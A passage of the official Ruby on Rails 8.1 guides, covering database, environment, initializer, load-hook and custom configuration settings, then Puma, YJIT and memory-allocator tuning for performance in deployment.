  database: blog_development
  username: blog
  password:
```

Change the username and password in the `development` section as appropriate.

#### [3.20.7. Configuring Metadata Storage](#configuring-metadata-storage)

By default Rails will store information about your Rails environment and schema in an internal table named `ar_internal_metadata`.

To turn this off per connection, set `use_metadata_table` in your database configuration. This is useful when working with a shared database and/or database user that cannot create tables.

```
development:
  adapter: postgresql
  use_metadata_table: false
```

#### [3.20.8. Configuring Retry Behavior](#configuring-retry-behavior)

By default, Rails will automatically reconnect to the database server and retry certain queries if something goes wrong. Only safely retryable (idempotent) queries will be retried. The number of retries can be specified in your the database configuration via `connection_retries`, or disabled by setting the value to 0. The default number of retries is 1.

```
development:
  adapter: mysql2
  connection_retries: 3
```

The database config also allows a `retry_deadline` to be configured. If a `retry_deadline` is configured, an otherwise-retryable query will *not* be retried if the specified time has elapsed while the query was first tried. For example, a `retry_deadline` of 5 seconds means that if 5 seconds have passed since a query was first attempted, we won't retry the query, even if it is idempotent and there are `connection_retries` left.

This value defaults to nil, meaning that all retryable queries are retried regardless of time elapsed. The value for this config should be specified in seconds.

```
development:
  adapter: mysql2
  retry_deadline: 5 # Stop retrying queries after 5 seconds
```

#### [3.20.9. Configuring Query Cache](#configuring-query-cache)

By default, Rails automatically caches the result sets returned by queries. If Rails encounters the same query again for that request or job, it will use the cached result set as opposed to running the query against the database again.

The query cache is stored in memory, and to avoid using too much memory, it automatically evicts the least recently used queries when reaching a threshold. By default the threshold is `100`, but can be configured in the `database.yml`.

```
development:
  adapter: mysql2
  query_cache: 200
```

To entirely disable query caching, it can be set to `false`

```
development:
  adapter: mysql2
  query_cache: false
```

### [3.21. Creating Rails Environments](#creating-rails-environments)

By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.

Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Since this is a production-like environment, you could copy the contents of `config/environments/production.rb` as a starting point and make the necessary changes from there. It's also possible to require and extend other environment configurations like this:

```
# config/environments/staging.rb
require_relative "production"

Rails.application.configure do
  # Staging overrides
end
```

That environment is no different than the default ones, start a server with `bin/rails server -e staging`, a console with `bin/rails console -e staging`, `Rails.env.staging?` works, etc.

### [3.22. Deploy to a Subdirectory (relative URL root)](#deploy-to-a-subdirectory-relative-url-root)

By default Rails expects that your application is running at the root (e.g. `/`). This section explains how to run your application inside a directory.

Let's assume we want to deploy our application to "/app1". Rails needs to know this directory to generate the appropriate routes:

```
config.relative_url_root = "/app1"
```

alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment variable.

Rails will now prepend "/app1" when generating links.

#### [3.22.1. Using Passenger](#using-passenger)

Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdirectory).

#### [3.22.2. Using a Reverse Proxy](#using-a-reverse-proxy)

Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.

Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.

One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy.

In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.

You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it.

Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:

```
upstream application_server {
  server 0.0.0.0:8080;
}

server {
  listen 80;
  server_name localhost;

  root /root/path/to/your_app/public;

  try_files $uri/index.html $uri.html @app;

  location @app {
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
    proxy_pass http://application_server;
  }

  # some other configuration
}
```

Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information.

## [4. Rails Environment Settings](#rails-environment-settings)

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.

* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root).

* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

## [5. Using Initializer Files](#using-initializer-files)

After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.

The files in `config/initializers` (and any subdirectories of `config/initializers`) are sorted and loaded one by one as part of the `load_config_initializers` initializer.

If an initializer has code that relies on code in another initializer, you can combine them into a single initializer instead. This makes the dependencies more explicit, and can help surface new concepts within your application. Rails also supports numbering of initializer file names, but this can lead to file name churn. Explicitly loading initializers with `require` is not recommended, since it will cause the initializer to get loaded twice.

There is no guarantee that your initializers will run after all the gem initializers, so any initialization code that depends on a given gem having been initialized should go into a `config.after_initialize` block.

## [6. Load Hooks](#load-hooks)

Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.

Load and configuration hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.

### [6.1. Avoid Loading Rails Frameworks](#avoid-loading-rails-frameworks)

Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:

```
ActiveRecord::Base.include(MyActiveRecordHelper)
```

This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.

`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:

```
ActiveSupport.on_load(:active_record) do
  include MyActiveRecordHelper
end
```

This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded.

### [6.2. When are Hooks called?](#when-are-hooks-called-questionmark)

In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`).

### [6.3. Modifying Code to Use Load Hooks](#modifying-code-to-use-load-hooks)

Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in a load hook.

**Modifying calls to `include`**

```
ActiveRecord::Base.include(MyActiveRecordHelper)
```

becomes

```
ActiveSupport.on_load(:active_record) do
  # self refers to ActiveRecord::Base here,
  # so we can call .include
  include MyActiveRecordHelper
end
```

**Modifying calls to `prepend`**

```
ActionController::Base.prepend(MyActionControllerHelper)
```

becomes

```
ActiveSupport.on_load(:action_controller_base) do
  # self refers to ActionController::Base here,
  # so we can call .prepend
  prepend MyActionControllerHelper
end
```

**Modifying calls to class methods**

```
ActiveRecord::Base.include_root_in_json = true
```

becomes

```
ActiveSupport.on_load(:active_record) do
  # self refers to ActiveRecord::Base here
  self.include_root_in_json = true
end
```

### [6.4. Available Load Hooks](#available-load-hooks)

These are the load hooks you can use in your own code. To hook into the initialization process of one of the following classes use the available hook.

| Class                                                 | Hook                                    |
| ----------------------------------------------------- | --------------------------------------- |
| `ActionCable`                                         | `action_cable`                          |
| `ActionCable::Channel::Base`                          | `action_cable_channel`                  |
| `ActionCable::Connection::Base`                       | `action_cable_connection`               |
| `ActionCable::Connection::TestCase`                   | `action_cable_connection_test_case`     |
| `ActionController::API`                               | `action_controller_api`                 |
| `ActionController::API`                               | `action_controller`                     |
| `ActionController::Base`                              | `action_controller_base`                |
| `ActionController::Base`                              | `action_controller`                     |
| `ActionController::Live`                              | `action_controller_live`                |
| `ActionController::TestCase`                          | `action_controller_test_case`           |
| `ActionDispatch::IntegrationTest`                     | `action_dispatch_integration_test`      |
| `ActionDispatch::Response`                            | `action_dispatch_response`              |
| `ActionDispatch::Request`                             | `action_dispatch_request`               |
| `ActionDispatch::SystemTestCase`                      | `action_dispatch_system_test_case`      |
| `ActionMailbox::Base`                                 | `action_mailbox`                        |
| `ActionMailbox::InboundEmail`                         | `action_mailbox_inbound_email`          |
| `ActionMailbox::Record`                               | `action_mailbox_record`                 |
| `ActionMailbox::TestCase`                             | `action_mailbox_test_case`              |
| `ActionMailer::Base`                                  | `action_mailer`                         |
| `ActionMailer::TestCase`                              | `action_mailer_test_case`               |
| `ActionText::Content`                                 | `action_text_content`                   |
| `ActionText::Record`                                  | `action_text_record`                    |
| `ActionText::RichText`                                | `action_text_rich_text`                 |
| `ActionText::EncryptedRichText`                       | `action_text_encrypted_rich_text`       |
| `ActionView::Base`                                    | `action_view`                           |
| `ActionView::TestCase`                                | `action_view_test_case`                 |
| `ActiveJob::Base`                                     | `active_job`                            |
| `ActiveJob::TestCase`                                 | `active_job_test_case`                  |
| `ActiveModel::Model`                                  | `active_model`                          |
| `ActiveModel::Translation`                            | `active_model_translation`              |
| `ActiveRecord::Base`                                  | `active_record`                         |
| `ActiveRecord::DatabaseConfigurations`                | `active_record_database_configurations` |
| `ActiveRecord::Encryption`                            | `active_record_encryption`              |
| `ActiveRecord::TestFixtures`                          | `active_record_fixtures`                |
| `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter` | `active_record_postgresqladapter`       |
| `ActiveRecord::ConnectionAdapters::Mysql2Adapter`     | `active_record_mysql2adapter`           |
| `ActiveRecord::ConnectionAdapters::TrilogyAdapter`    | `active_record_trilogyadapter`          |
| `ActiveRecord::ConnectionAdapters::SQLite3Adapter`    | `active_record_sqlite3adapter`          |
| `ActiveStorage::Attachment`                           | `active_storage_attachment`             |
| `ActiveStorage::VariantRecord`                        | `active_storage_variant_record`         |
| `ActiveStorage::Blob`                                 | `active_storage_blob`                   |
| `ActiveStorage::Record`                               | `active_storage_record`                 |
| `ActiveSupport::TestCase`                             | `active_support_test_case`              |
| `i18n`                                                | `i18n`                                  |

## [7. Initialization Events](#initialization-events)

Rails has 5 initialization events which can be hooked into (listed in the order that they are run):

* `before_configuration`: This is run when the application class inherits from `Rails::Application` in `config/application.rb`. Before the class body is executed. Engines may use this hook to run code before the application itself gets configured.

* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.

* `to_prepare`: Run after the initializers are run for all Railties (including the application itself) and after the middleware stack is built, but before eager loading. More importantly, will run upon every code reload in `development`, but only once (during boot-up) in `production` and `test`.

* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.

* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.

To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:

```
module YourApp
  class Application < Rails::Application
    config.before_initialize do
      # initialization code goes here
    end
  end
end
```

Alternatively, you can also do it through the `config` method on the `Rails.application` object:

```
Rails.application.config.before_initialize do
  # initialization code goes here
end
```

Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called.

### [7.1. `Rails::Railtie#initializer`](#rails-railtie-initializer)

Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller:

```
initializer "action_controller.set_helpers_path" do |app|
  ActionController::Helpers.helpers_path = app.helpers_paths
end
```

The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer *after*.

Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.

You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go *before* "two" but *after* "three", that just isn't logical and Rails will not be able to determine your initializer order.

The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.

Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.

### [7.2. Initializers](#initializers)

Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).

* `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it.

* `load_active_support`: Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.

* `initialize_logger`: Initializes the logger (an `ActiveSupport::BroadcastLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.

* `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.

* `set_clear_dependencies_hook`: This initializer - which runs only if `config.enable_reloading` is set to `true` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.

* `bootstrap_hook`: Runs all configured `before_initialize` blocks.

* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production this callback will only run on the first request.

* `active_support.deprecation_behavior`: Sets up deprecation reporting behavior for [`Rails.application.deprecators`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application.html#method-i-deprecators) based on [`config.active_support.report_deprecations`](#config-active-support-report-deprecations), [`config.active_support.deprecation`](#config-active-support-deprecation), [`config.active_support.disallowed_deprecation`](#config-active-support-disallowed-deprecation), and [`config.active_support.disallowed_deprecation_warnings`](#config-active-support-disallowed-deprecation-warnings).

* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".

* `active_support.initialize_beginning_of_week`: Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.

* `active_support.set_configs`: Sets up Active Support by using the settings in `config.active_support` by `send`'ing the method names as setters to `ActiveSupport` and passing the values through.

* `action_dispatch.configure`: Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.

* `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.

* `action_controller.assets_config`: Initializes the `config.action_controller.assets_dir` to the app's public directory if not explicitly configured.

* `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`.

* `action_controller.parameters_config`: Configures strong parameters options for `ActionController::Parameters`.

* `action_controller.set_configs`: Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.

* `action_controller.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access.

* `active_record.initialize_timezone`: Sets `ActiveRecord::Base.time_zone_aware_attributes` to `true`, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.

* `active_record.logger`: Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`.

* `active_record.migration_error`: Configures middleware to check for pending migrations.

* `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available.

* `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.

* `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.

* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` and `ActiveRecord::Railties::JobRuntime` which are responsible for reporting the time taken by Active Record calls for the request back to the logger.

* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.enable_reloading` is set to `true`.

* `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files.

* `active_job.logger`: Sets `ActiveJob::Base.logger` - if it's not already set - to `Rails.logger`.

* `active_job.set_configs`: Sets up Active Job by using the settings in `config.active_job` by `send`'ing the method names as setters to `ActiveJob::Base` and passing the values through.

* `action_mailer.logger`: Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`.

* `action_mailer.set_configs`: Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.

* `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access.

* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.paths.load_paths` to `$LOAD_PATH`. And unless you set `config.add_autoload_paths_to_load_path` to `false`, it will also add all autoload paths specified by `config.autoload_paths`, `config.eager_load_paths`, `config.autoload_once_paths`.

* `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`.

* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.

* `add_locales`: Adds the files in `config/locales` (from the application, railties, and engines) to `I18n.load_path`, making available the translations in these files.

* `add_view_paths`: Adds the directory `app/views` from the application, railties, and engines to the lookup path for view files for the application.

* `add_mailer_preview_paths`: Adds the directory `test/mailers/previews` from the application, railties, and engines to the lookup path for mailer preview files for the application.

* `load_environment_config`: This initializer runs before `load_environment_hook`. Loads the `config/environments` file for the current environment.

* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties, and engines to the lookup path for helpers for the application.

* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.

* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.

* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties, and engines, and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.

* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.

* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie, or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.

* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.

* `build_middleware_stack`: Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.

* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.

* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties, and engines.

* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActiveSupport::Callbacks.to_run`.

* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`.

## [8. Database Pooling](#database-pooling)

Active Record database connections are managed by [`ActiveRecord::ConnectionAdapters::ConnectionPool`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html) which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.

```
development:
  adapter: sqlite3
  database: storage/development.sqlite3
  pool: 5
  timeout: 5000
```

Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn, etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.

Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.

If you try to use more connections than are available, Active Record will block you and wait for a connection from the pool. If it cannot get a connection, a timeout error similar to that given below will be thrown.

```
ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)
```

If you get the above error, you might want to increase the size of the connection pool by incrementing the `pool` option in `database.yml`

If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.

## [9. Custom Configuration](#custom-configuration)

You can configure your own code through the Rails configuration object with custom configuration under either the `config.x` namespace, or `config` directly. The key difference between these two is that you should be using `config.x` if you are defining *nested* configuration (ex: `config.x.nested.hi`), and just `config` for *single level* configuration (ex: `config.hello`).

```
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.super_debugger = true
```

These configuration points are then available through the configuration object:

```
Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.payment_processing.not_set  # => nil
Rails.configuration.super_debugger                # => true
```

You can also use `Rails::Application.config_for` to load whole configuration files:

```
# config/payment.yml
production:
  environment: production
  merchant_id: production_merchant_id
  public_key:  production_public_key
  private_key: production_private_key

development:
  environment: sandbox
  merchant_id: development_merchant_id
  public_key:  development_public_key
  private_key: development_private_key
```

```
# config/application.rb
module MyApp
  class Application < Rails::Application
    config.payment = config_for(:payment)
  end
end
```

```
Rails.configuration.payment["merchant_id"] # => production_merchant_id or development_merchant_id
```

`Rails::Application.config_for` supports a `shared` configuration to group common configurations. The shared configuration will be merged into the environment configuration.

```
# config/example.yml
shared:
  foo:
    bar:
      baz: 1

development:
  foo:
    bar:
      qux: 2
```

```
# development environment
Rails.application.config_for(:example)[:foo][:bar] #=> { baz: 1, qux: 2 }
```

## [10. Search Engines Indexing](#search-engines-indexing)

Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the `http://your-site.com/robots.txt` file to know which pages it is allowed to index.

Rails creates this file for you inside the `/public` folder. By default, it allows search engines to index all pages of your application. If you want to block indexing on all pages of your application, use this:

```
User-agent: *
Disallow: /
```

To block just specific pages, it's necessary to use a more complex syntax. Learn it on the [official documentation](https://www.robotstxt.org/robotstxt.html).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/tuning_performance_for_deployment.html
----

***

This guide assumes you are running [MRI](https://ruby-lang.org), the canonical implementation of Ruby also known as CRuby. If you're using another Ruby implementation such as JRuby or TruffleRuby, most of this guide doesn't apply. If needed, check sources specific to your Ruby implementation.

## [1. Choosing an Application Server](#choosing-an-application-server)

Puma is Rails' default application server and the most commonly used server across the community. It works well in most cases. In some cases, you may wish to change to another.

An application server uses a particular concurrency method. For example, Unicorn uses processes, Puma and Passenger are hybrid process- and thread-based concurrency, and Falcon uses fibers.

A full discussion of Ruby's concurrency methods is beyond the scope of this document, but the key tradeoffs between processes and threads will be presented. If you want to use a method other than processes and threads, you will need to use a different application server.

This guide will focus on how to tune Puma.

## [2. What to Optimize for?](#what-to-optimize-for-questionmark)

In essence, tuning a Ruby web server is making a tradeoff between multiple properties such as memory usage, throughput, and latency.

The throughput is the measure of how many requests per second the server can handle, and latency is the measure of how long individual requests take (also referred to as response time).

Some users may want to maximize throughput to keep their hosting cost low, some other users may want to minimize latency to offer the best user experience, and many users will search for some compromise somewhere in the middle.

It is important to understand that optimizing for one property will generally hurt at least another one.

### [2.1. Understanding Ruby's Concurrency and Parallelism](#understanding-ruby-s-concurrency-and-parallelism)

[CRuby](https://www.ruby-lang.org/en/) has a [Global Interpreter Lock](https://en.wikipedia.org/wiki/Global_interpreter_lock), often called the GVL or GIL. The GVL prevents multiple threads from running Ruby code at the same time in a single process. Multiple threads can be waiting on network data, database operations, or some other non-Ruby work generally referred to as I/O operations, but only one can actively run Ruby code at a time.

This means that thread-based concurrency allows for increased throughput by concurrently processing web requests whenever they do I/O operations, but may degrade latency whenever an I/O operation completes. The thread that performed it may have to wait before it can resume executing Ruby code. Similarly, Ruby's garbage collector is "stop-the-world" so when it triggers all threads have to stop.

This also means that regardless of how many threads a Ruby process contains, it will never use more than a single CPU core.

Because of this, if your application only spends 50% of its time doing I/O operations, using more than 2 or 3 threads per process may severely hurt latency, and the gains in throughput will quickly hit diminishing returns.

Generally speaking, a well-crafted Rails application that isn't suffering from slow SQL queries or N+1 problems doesn't spend more than 50% of its time doing I/O operations, hence is unlikely to benefit from more than 3 threads. However, some applications that do call third-party APIs inline may spend a very large proportion of their time doing I/O operations and may benefit from more threads than that.

The way to achieve true parallelism with Ruby is to use multiple processes. As long as there is a free CPU core, Ruby processes don't have to wait on one another before resuming execution after an I/O operation is complete. However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), so one additional process uses more memory than an additional thread would.

Note that while threads are cheaper than processes, they are not free, and increasing the number of threads per process, also increases memory usage.

### [2.2. Practical Implications](#practical-implications)

Users interested in optimizing for throughput and server utilization will want to run one process per CPU core and increase the number of threads per process until the impact on latency is deemed too important.

Users interested in optimizing for latency will want to keep the number of threads per process low. To optimize for latency even further, users can even set the thread per process count to `1` and run `1.5` or `1.3` process per CPU core to account for when processes are idle waiting for I/O operations.

It is important to note that some hosting solutions may only offer a relatively small amount of memory (RAM) per CPU core, preventing you from running as many processes as needed to use all CPU cores. However, most hosting solutions have different plans with different ratios of memory and CPU.

Another thing to consider is that Ruby memory usage benefits from economies of scale thanks to [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write). So `2` servers with `32` Ruby processes each will use less memory per CPU core than `16` servers with `4` Ruby processes each.

## [3. Configurations](#configurations)

### [3.1. Puma](#puma)

The Puma configuration resides in the `config/puma.rb` file. The two most important Puma configurations are the number of threads per process, and the number of processes, which Puma calls `workers`.

The number of threads per process is configured via the `threads` directive. In the default generated configuration, it is set to `3`. You can modify it either by setting the `RAILS_MAX_THREADS` environment variable or simply editing the configuration file.

The number of processes is configured by the `workers` directive. If you use more than one thread per process, then it should be set to how many CPU cores are available on the server, or if the server is running multiple applications, to how many cores you want the application to use. If you only use one thread per worker, then you can increase it to above one per process to account for when workers are idle waiting for I/O operations.

You can configure the number of Puma workers by setting the `WEB_CONCURRENCY` environment variable. Setting `WEB_CONCURRENCY=auto` will automatically adjust the Puma worker count to match the number of available CPUs. However, this setting might be inaccurate on cloud hosts with shared CPUs or platforms that report CPU counts incorrectly.

### [3.2. YJIT](#yjit)

Recent Ruby versions come with a [Just-in-time compiler](https://en.wikipedia.org/wiki/Just-in-time_compilation) called [`YJIT`](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md).

Without going into too many details, JIT compilers allow to execute code faster, at the expense of using some more memory. Unless you really cannot spare this extra memory usage, it is highly recommended to enable YJIT.

As for Rails 7.2, if your application is running on Ruby 3.3 or superior, YJIT will automatically be enabled by Rails by default. Older versions of Rails or Ruby have to enable it manually, please refer to the [`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md) about how to do it.

If the extra memory usage is a problem, before entirely disabling YJIT, you can try tuning it to use less memory via [the `--yjit-exec-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md#decreasing---yjit-exec-mem-size).

### [3.3. Memory Allocators and Configuration](#memory-allocators-and-configuration)

Because of how the default memory allocator works on most Linux distributions, running Puma with multiple threads can lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentation_\(computing\)). In turn, this increased memory usage may prevent your application from fully utilizing the server CPU cores.

To alleviate this problem, it is highly recommended to configure Ruby to use an alternative memory allocator: [jemalloc](https://github.com/jemalloc/jemalloc).

The default Dockerfile generated by Rails already comes preconfigured to install and use `jemalloc`. But if your hosting solution isn't Docker based, you should look into how to install and enable jemalloc there.

If for some reason that isn't possible, a less efficient alternative is to configure the default allocator in a way that reduces memory fragmentation by setting `MALLOC_ARENA_MAX=2` in your environment. Note however that this might make Ruby slower, so `jemalloc` is the preferred solution.

## [4. Performance Testing](#performance-testing)

Because every Rails application is different, and that every Rails user may want to optimize for different properties, it is impossible to offer a default configuration or guidelines that works best for everyone.

Hence, the best way to choose your application's settings is to measure the performance of your application, and adjust the configuration until it is satisfactory for your goals.

This can be done with a simulated production workload, or directly in production with live application traffic.

Performance testing is a deep subject. This guide gives only simple guidelines.

### [4.1. What to Measure](#what-to-measure)

Throughput is the number of requests per second that your application successfully processes. Any good load testing program will measure it. A throughput is normally a single number expressed in "requests per second".

Latency is the delay from the time the request is sent until its response is successfully received, generally expressed in milliseconds. Each individual request will have its own latency.

[Percentile](https://en.wikipedia.org/wiki/Percentile_rank) latency gives the latency where a certain percentage of requests have better latency than that. For instance, `P90` is the 90th-percentile latency. The `P90` is the latency for a single load test where only 10% of requests took longer than that to process. The `P50` is the latency such that half your requests were slower, also called the median latency.

"Tail latency" refers to high-percentile latencies. For instance, the `P99` is the latency such that only 1% of your requests were worse. `P99` is a tail latency. `P50` is not a tail latency.

Generally speaking, the average latency isn't a good metric to optimize for. It is best to focus on median (`P50`) and tail (`P95` or `P99`) latency.

### [4.2. Production Measurement](#production-measurement)

If your production environment includes more than one server, it can be a good idea to do [A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there. For instance, you could run half of the servers with `3` threads per process, and the other half with `4` threads per process, and then use an application performance monitoring service to compare the throughput and latency of the two groups.

Application performance monitoring services are numerous, some are self-hosted, some are cloud solutions, and many offer a free tier plan. Recommending a particular one is beyond the scope of this guide.

### [4.3. Load Testers](#load-testers)

You will need a load testing program to make requests of your application. This can be a dedicated load testing program of some kind, or you can write a small application to make HTTP requests and track how long they take. You should not normally check the time in your Rails log file. That time is only how long Rails took to process the request. It does not include time taken by the application server.

